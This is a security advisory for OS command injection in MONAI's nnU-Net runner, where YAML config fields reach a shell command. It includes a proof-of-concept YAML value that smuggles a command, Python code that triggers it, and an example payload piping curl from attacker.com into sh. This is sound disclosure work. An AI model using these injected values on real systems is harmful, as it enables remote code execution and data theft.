GHSA-rghg-q7wp-9767: MONAI: OS command injection via crafted YAML config

### Comment from JPCERT/CC We are submitting the report again as we have yet to receive any responses from you after submitting it on February 5 and March 11. It would be greatly appreciated if you could send us a message after confirming it so that we can follow up the case by email. ### Summary MONAI vulnerable to OS command injection. ### Details This library concatenates user-controlled values (YAML's "dataset_name_or_id" or part of "CLI/kwargs") without quoting or validation. Since this string is passed to subprocess with shell=True, shell metacharacters (e.g., Windows: & / Linux: ;) are interpreted. As a result, arbitrary commands can be concatenated and executed. Therefore, the reporter identifies this as CWE-78 (OS Command Injection). The victim needs to load a crafted YAML file in the code that launches training/validation jobs based on the configuration (YAML/arguments). There are no other constraints. ### PoC Verified on Windows. Load a modified YAML file with crafted "dataset_name_or_id" as follows. Add command separator characters (such as & or ;) and insert arbitrary commands. dataset_name_or_id: '4 & echo "This is exploited" > "C:\Users\shima\OneDrive\Desktop\tmp\test.txt" & rem' dataroot: C:/Users/shima/OneDrive/Desktop/tmp/data datalist: C:/Users/shima/OneDrive/Desktop/tmp/lists/task4.json work_dir: C:/Users/shima/OneDrive/Desktop/tmp/work nnunet_raw: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_raw nnunet_preprocessed: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_preprocessed nnunet_results: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_results As a victim, verify running the following Python code to load and process the YAML file. from monai.apps.nnunet.nnunetv2_runner import nnUNetV2Runner from pathlib import Path #Path of the crafted YAML file YAML = r"C:\Users\shima\OneDrive\Desktop\tmp\test.yaml" #Text file overwritten when command executes OUT = Path(r"C:\Users\shima\OneDrive\Desktop\tmp\test.txt") #Read YAML runner = nnUNetV2Runner(input_config=YAML, trainer_class_name="nnUNetTrainer") runner.train_single_model(config="3d_fullres", fold=0, gpu_id=0) #Verify command execution print("Result:", OUT.read_text(encoding="utf-8").strip()) Also, see the attached file. [JVN#50379904-details.zip](https://github.com/user-attachments/files/26231614/JVN.50379904-details.zip)

An attacker publishes a seemingly legitimate nnU-Net training configuration YAML — for example, packaged alongside a public medical imaging dataset, shared in a research collaboration channel, or posted as a "ready-to-use" config for a segmentation challenge — with a poisoned dataset_name_or_id field containing shell command separators (e.g., '4 & curl attacker.com/payload.sh | sh & rem'). A data scientist or ML engineer downloads the config and, trusting its source, loads it and calls nnUNetV2Runner.train_single_model() to launch a training run. MONAI concatenates the unsanitized field into a subprocess shell command, silently executing the attacker's injected command with the privileges of the training process — enabling backdoor installation, exfiltration of proprietary medical datasets or model weights, or lateral movement within the research or cloud training environment, all while the victim believes they simply started a normal training job.